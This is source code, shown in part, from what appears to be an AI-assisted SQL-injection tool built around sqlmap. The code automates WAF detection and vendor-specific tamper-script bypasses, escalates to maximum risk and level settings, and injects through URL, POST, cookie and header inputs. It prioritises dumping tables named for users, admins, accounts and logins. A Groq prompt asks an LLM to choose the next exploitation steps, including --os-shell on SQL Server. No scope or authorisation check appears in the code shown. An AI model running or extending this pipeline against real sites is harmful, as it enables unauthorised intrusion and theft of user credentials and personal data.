db.lower() not in ["information_schema", "mysql", "performance_schema", 325 | "sys", "master", "model", "msdb", "tempdb"]: 326 | table_tamper_options.extend(["-D", db]) 327 | break 328 | table_tamper_result = self.runner.run_sqlmap( 329 | target_url=target_url, 330 | options=table_tamper_options, 331 | timeout=self.default_timeout * 1.5, 332 | interactive_mode=self.interactive_mode 333 | ) 334 | if table_tamper_result: 335 | table_tamper_info = extract_sqlmap_info(table_tamper_result) 336 | self.scan_history.append({ 337 | "step": "waf_bypass_tables", 338 | "command": f"sqlmap -u {target_url} --batch --tables --risk=3 --level=5 --tamper=space2comment,between,randomcase", 339 | "result": table_tamper_info 340 | }) 341 | tables = table_tamper_info.get("tables", []) 342 | if tables: 343 | print_success(f"Successfully enumerated {len(tables)} tables with WAF bypass") 344 | waf_info["tables"] = tables 345 | return self._run_step5_extract_data(target_url, waf_info) 346 | else: 347 | return self._run_step5_extract_data(target_url, waf_info) 348 | print_info("Trying with increased risk and level settings...") 349 | high_risk_options = ["--batch", "--dbs", "--risk=3", "--level=5"] 350 | if self.detected_dbms: 351 | high_risk_options.extend([f"--dbms={self.detected_dbms.lower()}"]) 352 | high_risk_result = self.runner.run_sqlmap( 353 | target_url=target_url, 354 | options=high_risk_options, 355 | timeout=self.default_timeout, 356 | interactive_mode=self.interactive_mode 357 | ) 358 | if high_risk_result and "TIMEOUT:" not in high_risk_result and "STALLED:" not in high_risk_result: 359 | high_risk_info = extract_sqlmap_info(high_risk_result) 360 | self.scan_history.append({ 361 | "step": "high_risk_testing", 362 | "command": f"sqlmap -u {target_url} --batch --risk=3 --level=5", 363 | "result": high_risk_info 364 | }) 365 | databases = high_risk_info.get("databases", []) 366 | if databases: 367 | print_success(f"High risk testing successful! Found {len(databases)} databases") 368 | tables = high_risk_info.get("tables", []) 369 | if tables: 370 | print_success(f"Found {len(tables)} tables") 371 | return self._run_step5_extract_data(target_url, high_risk_info) 372 | else: 373 | print_info("Attempting to enumerate tables with high risk settings...") 374 | table_high_risk_options = ["--batch", "--tables", "--risk=3", "--level=5"] 375 | if self.detected_dbms: 376 | table_high_risk_options.extend([f"--dbms={self.detected_dbms.lower()}"]) 377 | if len(databases) > 1: 378 | for db in databases: 379 | if db.lower() not in ["information_schema", "mysql", "performance_schema", 380 | "sys", "master", "model", "msdb", "tempdb"]: 381 | table_high_risk_options.extend(["-D", db]) 382 | break 383 | table_high_risk_result = self.runner.run_sqlmap( 384 | target_url=target_url, 385 | options=table_high_risk_options, 386 | timeout=self.default_timeout, 387 | interactive_mode=self.interactive_mode 388 | ) 389 | if table_high_risk_result: 390 | table_high_risk_info = extract_sqlmap_info(table_high_risk_result) 391 | self.scan_history.append({ 392 | "step": "high_risk_tables", 393 | "command": f"sqlmap -u {target_url} --batch --tables --risk=3 --level=5", 394 | "result": table_high_risk_info 395 | }) 396 | tables = table_high_risk_info.get("tables", []) 397 | if tables: 398 | print_success(f"Successfully enumerated {len(tables)} tables with high risk settings") 399 | high_risk_info["tables"] = tables 400 | return self._run_step5_extract_data(target_url, high_risk_info) 401 | return { 402 | "success": True, 403 | "partial": True, 404 | "scan_history": self.scan_history, 405 | "message": "Found databases but unable to enumerate tables. The database might be empty or protected.", 406 | "databases_found": databases 407 | } 408 | return {"success": False, "message": "Enhanced testing failed to identify SQL injection vulnerabilities."} 409 | def _check_for_waf(self, target_url: str) -> bool: 410 | print_info("Checking for Web Application Firewall (WAF)...") 411 | waf_result = self.runner.run_sqlmap( 412 | target_url=target_url, 413 | options=["--batch", "--identify-waf"], 414 | timeout=self.default_timeout // 2, 415 | interactive_mode=self.interactive_mode 416 | ) 417 | if waf_result: 418 | if "WAF/IPS" in waf_result or "firewall" in waf_result.lower(): 419 | self.detected_waf = True 420 | return True 421 | if any(indicator in waf_result.lower() for indicator in 422 | ["forbidden", "access denied", "not authorized", "403", "blocked"]): 423 | self.detected_waf = True 424 | return True 425 | test_injection = self.runner.run_sqlmap( 426 | target_url=target_url, 427 | options=["--batch", "--technique=B", "--prefix=\"'\"", "--suffix=\"--\"", "--time-sec=1"], 428 | timeout=self.default_timeout // 2, 429 | interactive_mode=self.interactive_mode 430 | ) 431 | if test_injection and any(indicator in test_injection.lower() for indicator in 432 | ["blocked", "rejected", "forbidden", "protection"]): 433 | self.detected_waf = True 434 | return True 435 | return False 436 | def _select_tamper_scripts(self, waf_output: str) -> List[str]: 437 | selected_scripts = [] 438 | space_tampers = ["space2comment", "space2plus", "space2randomblank"] 439 | encoding_tampers = ["base64encode", "charencode", "charunicodeencode"] 440 | logical_tampers = ["greatest", "between", "symboliclogical"] 441 | comment_tampers = ["randomcomments", "modsecurityversioned"] 442 | if "ModSecurity" in waf_output or "Apache" in waf_output: 443 | selected_scripts.extend(["modsecurityversioned", "space2comment", "randomcomments"]) 444 | elif "Cloudflare" in waf_output: 445 | selected_scripts.extend(["charencode", "charunicodeencode", "space2randomblank"]) 446 | elif "Imperva" in waf_output: 447 | selected_scripts.extend(["base64encode", "randomcase", "between"]) 448 | else: 449 | selected_scripts = ["space2comment", "randomcase", "between", "greatest"] 450 | return selected_scripts[:4] 451 | def _get_tables_for_extraction(self, target_url: str, info: Dict[str, Any]) -> Dict[str, Any]: 452 | if not info["databases"]: 453 | return {"success": False, "message": "No databases found for extraction"} 454 | target_db = None 455 | system_dbs = ["information_schema", "mysql", "sys", "performance_schema", "master", "model", "msdb", "tempdb"] 456 | for db in info["databases"]: 457 | if db.lower() not in system_dbs: 458 | target_db = db 459 | break 460 | if not target_db and "information_schema" in info["databases"]: 461 | target_db = "information_schema" 462 | elif not target_db and info["databases"]: 463 | target_db = info["databases"][0] 464 | if not target_db: 465 | return {"success": False, "message": "No suitable database found for extraction"} 466 | print_info(f"Getting tables for database: {target_db}") 467 | options = ["--batch"] 468 | if self.detected_dbms: 469 | options.append(f"--dbms={self.detected_dbms.lower()}") 470 | if self.tamper_scripts_used: 471 | options.append(f"--tamper={','.join(self.tamper_scripts_used)}") 472 | options.extend(["-D", target_db, "--tables"]) 473 | tables_result = self.runner.run_sqlmap( 474 | target_url=target_url, 475 | options=options, 476 | timeout=self.default_timeout, 477 | interactive_mode=self.interactive_mode 478 | ) 479 | if not tables_result or "TIMEOUT:" in tables_result: 480 | return {"success": False, "message": "Failed to get tables or operation timed out"} 481 | tables_info = extract_sqlmap_info(tables_result) 482 | info["tables"] = tables_info["tables"] 483 | return self._run_step5_extract_data(target_url, info) 484 | def _run_step5_extract_data(self, target_url: str, info: Dict[str, Any]) -> Dict[str, Any]: 485 | print_info("🟣 Step 5: Data Extraction") 486 | print_info("Objective: Extract valuable data from identified tables") 487 | selected_db = None 488 | selected_tables = [] 489 | databases = info.get("databases", []) 490 | if databases: 491 | for db in databases: 492 | db_lower = db.lower() 493 | if any(interesting in db_lower for interesting in ["user", "admin", "account", "customer", "web"]): 494 | selected_db = db 495 | break 496 | if not selected_db: 497 | for db in databases: 498 | if db.lower() not in ["information_schema", "mysql", "performance_schema", "sys"]: 499 | selected_db = db 500 | break 501 | if not selected_db and databases: 502 | selected_db = databases[0] 503 | tables = info.get("tables", []) 504 | if tables: 505 | for table in tables: 506 | table_lower = table.lower() 507 | if any(interesting in table_lower for interesting in ["user", "admin", "account", "customer", "login", "member", "profile"]): 508 | selected_tables.append(table) 509 | if not selected_tables and tables: 510 | selected_tables = tables[:min(3, len(tables))] 511 | options = ["--batch"] 512 | if selected_db: 513 | options.append(f"-D {selected_db}") 514 | if selected_tables: 515 | extracted_data = {} 516 | for table in selected_tables: 517 | print_info(f"Extracting data from table: {table}") 518 | dump_options = options.copy() 519 | if selected_db: 520 | dump_options.append(f"-T {table}") 521 | else: 522 | dump_options.append(f"-T {table}") 523 | dump_options.append("--dump") 524 | if len(self.scan_history) >= 2: 525 | current_extracted = extracted_data.copy() if extracted_data else {} 526 | ai_options = ai_suggest_next_steps( 527 | report=self.scan_history[-1].get("result", {}).get("raw_result", ""), 528 | scan_history=self.scan_history, 529 | extracted_data=current_extracted 530 | ) 531 | if ai_options: 532 | print_success("Using AI-suggested options for optimal extraction:") 533 | for opt in ai_options: 534 | print_info(f" {opt}") 535 | dump_options = ai_options 536 | result = self.runner.run_sqlmap( 537 | target_url=target_url, 538 | options=dump_options, 539 | timeout=int(self.default_timeout * 1.5), 540 | interactive_mode=self.interactive_mode 541 | ) 542 | if not result: 543 | print_warning(f"Failed to extract data from table {table}") 544 | continue 545 | dump_info = extract_sqlmap_info(result) 546 | self.scan_history.append({ 547 | "step": "data_extraction", 548 | "command": f"sqlmap -u {target_url} {' '.join(dump_options)}", 549 | "result": dump_info 550 | }) 551 | if "extracted" in dump_info: 552 | for extracted_table, table_data in dump_info["extracted"].items(): 553 | extracted_data[extracted_table] = table_data 554 | if extracted_data: 555 | return { 556 | "success": True, 557 | "message": f"Successfully extracted data from {len(extracted_data)} tables", 558 | "extracted_data": extracted_data, 559 | "scan_history": self.scan_history 560 | } 561 | else: 562 | print_warning("No data extracted from specific tables. Trying general extraction.") 563 | general_options = options.copy() 564 | ai_options = ai_suggest_next_steps( 565 | report=self.scan_history[-1].get("result", {}).get("raw_result", ""), 566 | scan_history=self.scan_history, 567 | extracted_data={} 568 | ) 569 | if ai_options: 570 | print_success("Using AI-suggested options for general extraction:") 571 | for opt in ai_options: 572 | print_info(f" {opt}") 573 | general_options = ai_options 574 | else: 575 | if selected_db: 576 | general_options.append(f"-D {selected_db}") 577 | general_options.append("--dump") 578 | result = self.runner.run_sqlmap( 579 | target_url=target_url, 580 | options=general_options, 581 | timeout=int(self.default_timeout * 1.5), 582 | interactive_mode=self.interactive_mode 583 | ) 584 | if not result: 585 | return {"success": False, "message": "Data extraction failed", "scan_history": self.scan_history} 586 | general_info = extract_sqlmap_info(result) 587 | self.scan_history.append({ 588 | "step": "data_extraction", 589 | "command": f"sqlmap -u {target_url} {' '.join(general_options)}", 590 | "result": general_info 591 | }) 592 | if "extracted" in general_info and general_info["extracted"]: 593 | return { 594 | "success": True, 595 | "message": "Successfully extracted data using general extraction", 596 | "extracted_data": general_info["extracted"], 597 | "scan_history": self.scan_history 598 | } 599 | else: 600 | return { 601 | "success": False, 602 | "message": "Failed to extract data", 603 | "scan_history": self.scan_history 604 | } 605 | else: 606 | general_options = options.copy() 607 | ai_options = ai_suggest_next_steps( 608 | report=self.scan_history[-1].get("result", {}).get("raw_result", ""), 609 | scan_history=self.scan_history, 610 | extracted_data={} 611 | ) 612 | if ai_options: 613 | print_success("Using AI-suggested options for database extraction:") 614 | for opt in ai_options: 615 | print_info(f" {opt}") 616 | general_options = ai_options 617 | else: 618 | if selected_db: 619 | general_options.append(f"-D {selected_db}") 620 | general_options.append("--tables") 621 | result = self.runner.run_sqlmap( 622 | target_url=target_url, 623 | options=general_options, 624 | timeout=self.default_timeout, 625 | interactive_mode=self.interactive_mode 626 | ) 627 | if not result: 628 | return {"success": False, "message": "Database table enumeration failed", "scan_history": self.scan_history} 629 | tables_info = extract_sqlmap_info(result) 630 | self.scan_history.append({ 631 | "step": "table_enumeration", 632 | "command": f"sqlmap -u {target_url} {' '.join(general_options)}", 633 | "result": tables_info 634 | }) 635 | if "tables" in tables_info and tables_info["tables"]: 636 | return self._run_step5_extract_data(target_url, tables_info) 637 | else: 638 | return { 639 | "success": False, 640 | "message": "Failed to find any tables to extract data from", 641 | "scan_history": self.scan_history 642 | } 643 | def _run_step6_alternative_inputs(self, target_url: str) -> Dict[str, Any]: 644 | print_info("🟡 Step 6: Expanding the Attack Scope (POST, Cookies, Headers)") 645 | print_info("Objective: Test POST parameters, cookies, and headers") 646 | results = {} 647 | methods_tested = [] 648 | print_info("Testing POST parameters") 649 | methods_tested.append("post") 650 | form_url = target_url 651 | if "?" in target_url: 652 | base_url, params = target_url.split("?", 1) 653 | form_url = base_url 654 | post_options = ["--data", params] 655 | else: 656 | post_options = ["--data", "id=1"] 657 | if self.detected_dbms: 658 | post_options.append(f"--dbms={self.detected_dbms.lower()}") 659 | if self.tamper_scripts_used: 660 | post_options.append(f"--tamper={','.join(self.tamper_scripts_used)}") 661 | post_options.extend(["--level=5", "--risk=3"]) 662 | print_info(f"Using form URL: {form_url}") 663 | post_result = self.runner.run_sqlmap( 664 | target_url=form_url, 665 | options=post_options, 666 | timeout=self.default_timeout * 1.5, 667 | interactive_mode=self.interactive_mode 668 | ) 669 | if self._check_test_success(post_result, "POST"): 670 | post_info = extract_sqlmap_info(post_result) 671 | if post_info["databases"] or post_info["vulnerable_parameters"]: 672 | print_success("POST parameter injection successful!") 673 | results["post"] = { 674 | "success": True, 675 | "info": post_info 676 | } 677 | if post_info["databases"]: 678 | results["extraction"] = self._run_step5_extract_data(form_url, post_info) 679 | return self._prepare_final_results(results, methods_tested) 680 | print_info("Testing cookie-based injection") 681 | methods_tested.append("cookie") 682 | cookie_options = [ 683 | "--cookie", "PHPSESSID=1", "--level=5", "--risk=3" 684 | ] 685 | if self.detected_dbms: 686 | cookie_options.append(f"--dbms={self.detected_dbms.lower()}") 687 | if self.tamper_scripts_used: 688 | cookie_options.append(f"--tamper={','.join(self.tamper_scripts_used)}") 689 | cookie_result = self.runner.run_sqlmap( 690 | target_url=target_url, 691 | options=cookie_options, 692 | timeout=self.default_timeout * 1.5, 693 | interactive_mode=self.interactive_mode 694 | ) 695 | if self._check_test_success(cookie_result, "Cookie"): 696 | cookie_info = extract_sqlmap_info(cookie_result) 697 | if cookie_info["databases"] or cookie_info["vulnerable_parameters"]: 698 | print_success("Cookie-based injection successful!") 699 | results["cookie"] = { 700 | "success": True, 701 | "info": cookie_info 702 | } 703 | if cookie_info["databases"]: 704 | results["extraction"] = self._run_step5_extract_data(target_url, cookie_info) 705 | return self._prepare_final_results(results, methods_tested) 706 | print_info("Testing header-based injection") 707 | methods_tested.append("header") 708 | header_options = [ 709 | "--headers", "X-Forwarded-For: 1", "--level=5", "--risk=3" 710 | ] 711 | if self.detected_dbms: 712 | header_options.append(f"--dbms={self.detected_dbms.lower()}") 713 | if self.tamper_scripts_used: 714 | header_options.append(f"--tamper={','.join(self.tamper_scripts_used)}") 715 | header_result = self.runner.run_sqlmap( 716 | target_url=target_url, 717 | options=header_options, 718 | timeout=self.default_timeout * 1.5, 719 | interactive_mode=self.interactive_mode 720 | ) 721 | if self._check_test_success(header_result, "Header"): 722 | header_info = extract_sqlmap_info(header_result) 723 | if header_info["databases"] or header_info["vulnerable_parameters"]: 724 | print_success("Header-based injection successful!") 725 | results["header"] = { 726 | "success": True, 727 | "info": header_info 728 | } 729 | if header_info["databases"]: 730 | results["extraction"] = self._run_step5_extract_data(target_url, header_info) 731 | return self._prepare_final_results(results, methods_tested) 732 | return self._prepare_final_results(results, methods_tested) 733 | def _check_test_success(self, result: Optional[str], method_name: str) -> bool: 734 | if not result: 735 | print_warning(f"{method_name} test failed - no output from SQLMap") 736 | return False 737 | if result.startswith("ERROR:"): 738 | print_warning(f"{method_name} test error: {result}") 739 | return False 740 | if result.startswith("WARNING:"): 741 | print_warning(f"{method_name} test warning: {result}") 742 | return True 743 | if "TIMEOUT:" in result: 744 | print_warning(f"{method_name} test timed out") 745 | return False 746 | return True 747 | def _prepare_final_results(self, results: Dict[str, Any], methods_tested: List[str]) -> Dict[str, Any]: 748 | if results: 749 | result_type = "partial_success" if "extraction" in results else "detected_only" 750 | self.scan_history.append({ 751 | "step": "alternative_inputs", 752 | "methods_tested": methods_tested, 753 | "result": result_type 754 | }) 755 | return { 756 | "success": True, 757 | "message": "One or more alternative input methods were successful", 758 | "results": results, 759 | "scan_history": self.scan_history 760 | } 761 | else: 762 | print_warning("All testing methods failed. Target may not be vulnerable.") 763 | self.scan_history.append({ 764 | "step": "alternative_inputs", 765 | "methods_tested": methods_tested, 766 | "result": "all_failed" 767 | }) 768 | return { 769 | "success": False, 770 | "message": "All testing methods failed. Target may not be vulnerable.", 771 | "scan_history": self.scan_history 772 | } 773 | def run_adaptive_test_sequence(runner, target_url, interactive_mode=False, timeout=120): 774 | engine = AdaptiveTestingEngine( 775 | runner=runner, 776 | interactive_mode=interactive_mode, 777 | default_timeout=timeout 778 | ) 779 | return engine.run_adaptive_test(target_url) -------------------------------------------------------------------------------- /sqlmap_ai/ai_analyzer.py: -------------------------------------------------------------------------------- 1 | from utils.groq_utils import get_groq_response 2 | from sqlmap_ai.ui import print_info, print_warning, print_success 3 | from sqlmap_ai.parser import extract_sqlmap_info 4 | import json 5 | def ai_suggest_next_steps(report, scan_history=None, extracted_data=None): 6 | print_info("Analyzing SQLMap results with AI...") 7 | if not report: 8 | return ["--technique=BT", "--level=2", "--risk=1"] 9 | if report.startswith("TIMEOUT_WITH_PARTIAL_DATA:"): 10 | report = report[len("TIMEOUT_WITH_PARTIAL_DATA:"):] 11 | structured_info = extract_sqlmap_info(report) 12 | prompt = create_advanced_prompt(report, structured_info, scan_history, extracted_data) 13 | print_info("Sending detailed analysis request to Groq AI...") 14 | response = get_groq_response(prompt=prompt) 15 | if not response: 16 | print_warning("AI couldn't suggest options, using fallback options") 17 | return ["--technique=BEU", "--level=3"] 18 | print_success("Received AI recommendations!") 19 | try: 20 | # Try parsing JSON responses 21 | if "```json" in response: 22 | json_start = response.find("```json") + 7 23 | json_end = response.find("```", json_start) 24 | json_str = response[json_start:json_end].strip() 25 | recommendation = json.loads(json_str) 26 | if "sqlmap_options" in recommendation: 27 | return recommendation["sqlmap_options"] 28 | elif "options" in recommendation: 29 | return recommendation["options"] 30 | # Look for code blocks without json tag 31 | elif "```" in response: 32 | code_start = response.find("```") + 3 33 | code_end = response.find("```", code_start) 34 | code_block = response[code_start:code_end].strip() 35 | # Check if content is JSON 36 | try: 37 | recommendation = json.loads(code_block) 38 | if "sqlmap_options" in recommendation: 39 | return recommendation["sqlmap_options"] 40 | elif "options" in recommendation: 41 | return recommendation["options"] 42 | except: 43 | pass 44 | 45 | # Extract options from the response text 46 | options = [] 47 | for line in response.split('\n'): 48 | line = line.strip() 49 | if line.startswith('--') or line.startswith('-p ') or line.startswith('-D ') or line.startswith('-T ') or \ 50 | line.startswith('--data=') or line.startswith('--cookie=') or line.startswith('--headers=') or \ 51 | line.startswith('--json') or line.startswith('--level=') or line.startswith('--risk='): 52 | options.append(line) 53 | 54 | # Check for URL path parameter injection marker 55 | if "*" in structured_info.get("url", "") and not any('--dbs' in opt for opt in options): 56 | options.append("--dbs") 57 | except Exception as e: 58 | print_warning(f"Error parsing AI response: {str(e)}") 59 | # Fallback to simple extraction 60 | options = [] 61 | for line in response.strip().split('\n'): 62 | for part in line.split(): 63 | if part.startswith('--') or part.startswith('-p ') or part.startswith('-D ') or part.startswith('-T ') or \ 64 | part.startswith('--data=') or part.startswith('--cookie=') or part.startswith('--headers=') or \ 65 | part.startswith('--json'): 66 | options.append(part) 67 | 68 | # Handle SQLite specific cases 69 | if structured_info.get("dbms", "").lower() == "sqlite" and not any(opt for opt in options if opt.startswith('--tables')): 70 | options.append("--tables") 71 | 72 | # Handle URL path injection scenarios 73 | if structured_info.get("url", "") and "*" in structured_info.get("url", "") and not any('--dbs' in opt for opt in options): 74 | options.append("--dbs") 75 | 76 | # Handle JSON data scenarios 77 | if any(opt.startswith('--data=') for opt in options) and "json" in ' '.join(options).lower() and not any(opt == '--json' for opt in options): 78 | options.append("--json") 79 | 80 | # Filter out options that might cause issues 81 | valid_options = [] 82 | for opt in options: 83 | if not opt.startswith('-d ') and not opt == '-d' and not opt == '--dump-all': 84 | valid_options.append(opt) 85 | 86 | if not valid_options and structured_info.get("dbms", "").lower() == "sqlite": 87 | print_info("Using SQLite-specific options as fallback") 88 | return ["--tables", "--dump"] 89 | elif not valid_options: 90 | print_warning("No valid options found, using fallback options based on URL type") 91 | # Set fallback options based on URL structure 92 | url = structured_info.get("url", "") 93 | if url: 94 | if "*" in url: 95 | return ["--technique=BT", "--level=2", "--risk=1"] 96 | elif "?" in url and "&" in url: 97 | return ["--technique=BT", "--level=3", "--risk=1"] 98 | else: 99 | return ["--technique=BEU", "--level=3", "--risk=2"] 100 | else: 101 | return ["--technique=BEU", "--level=3"] 102 | 103 | return valid_options 104 | def create_advanced_prompt(report, structured_info, scan_history=None, extracted_data=None): 105 | prompt = """ 106 | You are a SQLMap expert. You are given a SQLMap scan report and a list of previous scan steps. 107 | You need to suggest the next steps to take to fully enumerate the target application. 108 | 109 | Look at the scan report, previous steps, and any data extracted to decide the most effective next steps. 110 | Analyze what has been discovered so far and what remains to be explored. 111 | 112 | # SCAN REPORT SUMMARY: 113 | DBMS: {dbms} 114 | Vulnerable Parameters: {vulnerable_params} 115 | Techniques Tried: {techniques} 116 | Databases: {databases} 117 | Tables: {tables} 118 | WAF Detected: {waf_detected} 119 | 120 | # PREVIOUS SCAN STEPS: 121 | {scan_history} 122 | 123 | # DATA EXTRACTED SO FAR: 124 | {extracted_data} 125 | 126 | # LATEST SCAN OUTPUT: 127 | {report_excerpt} 128 | 129 | Based on this information, suggest the next SQLMap options to use. Focus on: 130 | 1. Exploiting vulnerabilities already found 131 | 2. Extracting more database information if possible 132 | 3. Dumping interesting tables when appropriate 133 | 4. Using techniques that haven't been tried yet 134 | 5. Avoiding techniques that have failed 135 | 136 | # DBMS-SPECIFIC GUIDELINES: 137 | - For SQLite databases: Use '--tables' instead of '--dbs' as SQLite doesn't support database enumeration. 138 | Use '--dump -T [table_name]' to extract data from specific tables. 139 | - For MySQL/PostgreSQL: Use '--dbs' to enumerate databases, then '-D [db_name] --tables' to list tables. 140 | - For Microsoft SQL Server: Consider using '--os-shell' to attempt command execution if appropriate. 141 | 142 | # SQL INJECTION SCENARIOS: 143 | - Classic GET Parameter: For URLs like 'http://target.com/page.php?id=1', use basic options like '--dbs' 144 | - URL Path Parameter: For URLs like 'http://target.com/page/1/', use asterisk as injection marker (e.g., 'page/1*') and '--dbs' 145 | - Multiple Parameters: For URLs with multiple parameters, specify which to test with '-p' or use '--level=3' to test all 146 | - POST Parameter: Use '--data' or '--forms' to test POST parameters 147 | - Cookie-Based: Use '--cookie' to specify cookie values to test 148 | - Header-Based: Use '--headers' to test HTTP headers for injection 149 | - JSON Body: Use '--data' with JSON payload and add '--json' flag 150 | 151 | Return your recommendation in JSON format: 152 | ```json 153 | {{ 154 | "sqlmap_options": ["option1", "option2", "..."] 155 | }} 156 | ``` 157 | 158 | Each option should be a separate string in the array (e.g., "--level=3", "--risk=2"). 159 | Be specific and concise. Don't include basic options like -u (URL) as these will be added automatically. 160 | """ 161 | report_lines = report.split('\n') 162 | report_excerpt = '\n'.join(report_lines[-30:]) if len(report_lines) > 30 else report 163 | history_str = "No previous scan history available" 164 | if scan_history: 165 | history_lines = [] 166 | for step in scan_history: 167 | if isinstance(step, dict): 168 | cmd = step.get("command", "Unknown command") 169 | step_name = step.get("step", "Unknown step") 170 | history_lines.append(f"- {step_name}: {cmd}") 171 | if history_lines: 172 | history_str = '\n'.join(history_lines) 173 | extracted_str = "No data extracted yet" 174 | if extracted_data: 175 | if isinstance(extracted_data, dict): 176 | extracted_lines = [] 177 | for table, data in extracted_data.items(): 178 | if isinstance(data, dict) and "columns" in data: 179 | columns = ', '.join(data["columns"]) 180 | extracted_lines.append(f"- Table '{table}': Columns [{columns}]") 181 | if extracted_lines: 182 | extracted_str = '\n'.join(extracted_lines) 183 | formatted_prompt = prompt.format( 184 | report_excerpt=report_excerpt, 185 | dbms=structured_info.get("dbms", "Unknown"), 186 | vulnerable_params=', '.join(structured_info.get("vulnerable_parameters", [])) or "None identified", 187 | techniques=', '.join(structured_info.get("techniques", [])) or "None identified", 188 | databases=', '.join(structured_info.get("databases", [])) or "None identified", 189 | tables=', '.join(structured_info.get("tables", [])) or "None identified", 190 | waf_detected="Yes" if structured_info.get("waf_detected", False) else "No", 191 | scan_history=history_str, 192 | extracted_data=extracted_str 193 | ) 194 | 195 | # Add injection type information if available 196 | if "injection_type" in structured_info and structured_info["injection_type"]: 197 | injection_type = structured_info["injection_type"] 198 | injection_info = f"\n\n# INJECTION TYPE DETECTED: {injection_type.upper()}\n" 199 | 200 | if injection_type == "path_parameter": 201 | injection_info += "Path parameter injection typically requires using * as the injection marker.\n" 202 | injection_info += "Make sure to include '--dbs' in your recommendations.\n" 203 | elif injection_type == "post_parameter": 204 | injection_info += "POST parameter injection requires --data option.\n" 205 | elif injection_type == "cookie_based": 206 | injection_info += "Cookie-based injection requires --cookie option.\n" 207 | elif injection_type == "header_based": 208 | injection_info += "Header-based injection requires --headers option.\n" 209 | elif injection_type == "json_body": 210 | injection_info += "JSON body injection requires --data with JSON payload and --json flag.\n" 211 | elif injection_type == "multi_parameter": 212 | injection_info += "Multiple parameters detected. Consider using -p to specify which parameter to test or --level=3.\n" 213 | 214 | formatted_prompt += injection_info 215 | 216 | return formatted_prompt 217 | -------------------------------------------------------------------------------- /sqlmap_ai/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | import argparse 3 | from sqlmap_ai.ui import ( 4 | print_banner, 5 | print_info, 6 | print_success, 7 | print_error, 8 | print_warning, 9 | get_target_url, 10 | get_timeout, 11 | get_interactive_mode, 12 | get_user_choice, 13 | confirm_save_report 14 | ) 15 | from sqlmap_ai.runner import SQLMapRunner 16 | from sqlmap_ai.parser import display_report, save_report_to_file, extract_sqlmap_info, create_json_report 17 | from sqlmap_ai.ai_analyzer import ai_suggest_next_steps 18 | from sqlmap_ai.timeout_handler import handle_timeout_response 19 | from sqlmap_ai.adaptive_testing import run_adaptive_test_sequence 20 | def main(): 21 | print_banner() 22 | parser = argparse.ArgumentParser(description="SQLMap AI Assistant") 23 | parser.add_argument("--adaptive", action="store_true", help="Run with adaptive step-by-step testing") 24 | parser.add_argument("--timeout", type=int, help="Set custom timeout in seconds (default: 120)") 25 | args = parser.parse_args() 26 | target_url = get_target_url() 27 | if args.timeout: 28 | user_timeout = args.timeout 29 | print_info(f"Using timeout of {user_timeout} seconds from command line argument") 30 | else: 31 | user_timeout = get_timeout() 32 | interactive_mode = get_interactive_mode() 33 | runner = SQLMapRunner() 34 | if args.adaptive: 35 | run_adaptive_mode(runner, target_url, user_timeout, interactive_mode) 36 | else: 37 | run_standard_mode(runner, target_url, user_timeout, interactive_mode) 38 | def run_adaptive_mode(runner, target_url, user_timeout, interactive_mode): 39 | print_info("Starting adaptive step-by-step testing sequence...") 40 | print_info("This mode will automatically sequence through multiple testing phases") 41 | result = run_adaptive_test_sequence( 42 | runner=runner, 43 | target_url=target_url, 44 | interactive_mode=interactive_mode, 45 | timeout=user_timeout 46 | ) 47 | if result and result.get("success", False): 48 | if result.get("partial", False): 49 | print_warning("Adaptive testing completed with partial success.") 50 | print_info("Summary of findings:") 51 | if "databases_found" in result: 52 | print_success(f"Databases found: {', '.join(result['databases_found'])}") 53 | print_warning("However, tables could not be enumerated. This can happen when:") 54 | print_warning("1. The database is empty") 55 | print_warning("2. There are WAF/IPS protections against table enumeration") 56 | print_warning("3. The SQL injection vulnerability is limited in scope") 57 | print_info("The scan output is still saved for your reference.") 58 | if confirm_save_report(): 59 | print_info("Creating detailed report with structured data...") 60 | base_filename = f"sqlmap_adaptive_partial_report_{int(time.time())}" 61 | text_filename = f"{base_filename}.txt" 62 | json_filename = f"{base_filename}.json" 63 | try: 64 | report_content = "\n".join([f"{k}: {v}" for k, v in result.items() if k != "scan_history"]) 65 | report_content += "\n\nScan History:\n" 66 | for step in result.get("scan_history", []): 67 | report_content += f"\nStep: {step.get('step', 'unknown')}\n" 68 | report_content += f"Command: {step.get('command', 'N/A')}\n" 69 | with open(text_filename, "w") as f: 70 | f.write(report_content) 71 | print_success(f"Report saved to {text_filename}") 72 | last_step = result.get("scan_history", [])[-1] if result.get("scan_history") else {} 73 | last_result = last_step.get("result", {}) 74 | json_report = create_json_report(last_result, result.get("scan_history", [])) 75 | save_report_to_file(json_report, json_filename) 76 | print_success(f"Structured JSON report saved to {json_filename}") 77 | print_info("The JSON report format is optimized for AI analysis with Groq.") 78 | except Exception as e: 79 | print_error(f"Failed to save report: {str(e)}") 80 | else: 81 | print_success("Adaptive testing completed successfully!") 82 | print_info("Summary of findings:") 83 | for step in result.get("scan_history", []): 84 | if "result" in step and "databases" in step["result"]: 85 | if step["result"]["databases"]: 86 | print_success(f"Databases found: {', '.join(step['result']['databases'])}") 87 | if "extracted_data" in result: 88 | for table, data in result["extracted_data"].items(): 89 | print_success(f"Data extracted from table: {table}") 90 | if "columns" in data: 91 | print_info(f"Columns: {', '.join(data['columns'])}") 92 | if confirm_save_report(): 93 | print_info("Creating detailed report with structured data...") 94 | base_filename = f"sqlmap_adaptive_report_{int(time.time())}" 95 | text_filename = f"{base_filename}.txt" 96 | json_filename = f"{base_filename}.json" 97 | try: 98 | report_content = "\n".join([f"{k}: {v}" for k, v in result.items() if k != "scan_history"]) 99 | report_content += "\n\nScan History:\n" 100 | for step in result.get("scan_history", []): 101 | report_content += f"\nStep: {step.get('step', 'unknown')}\n" 102 | report_content += f"Command: {step.get('command', 'N/A')}\n" 103 | with open(text_filename, "w") as f: 104 | f.write(report_content) 105 | print_success(f"Report saved to {text_filename}") 106 | last_step = result.get("scan_history", [])[-1] if result.get("scan_history") else {} 107 | last_result = last_step.get("result", {}) 108 | json_report = create_json_report(last_result, result.get("scan_history", [])) 109 | save_report_to_file(json_report, json_filename) 110 | print_success(f"Structured JSON report saved to {json_filename}") 111 | print_info("The JSON report format is optimized for AI analysis with Groq.") 112 | except Exception as e: 113 | print_error(f"Failed to save report: {str(e)}") 114 | else: 115 | print_error("Adaptive testing failed. Check target URL and try again.") 116 | if result and "message" in result: 117 | print_info(f"Error: {result['message']}") 118 | def run_standard_mode(runner, target_url, user_timeout, interactive_mode): 119 | print_info("Starting initial reconnaissance...") 120 | scan_history = [] 121 | extracted_data = {} 122 | report = runner.gather_info(target_url, 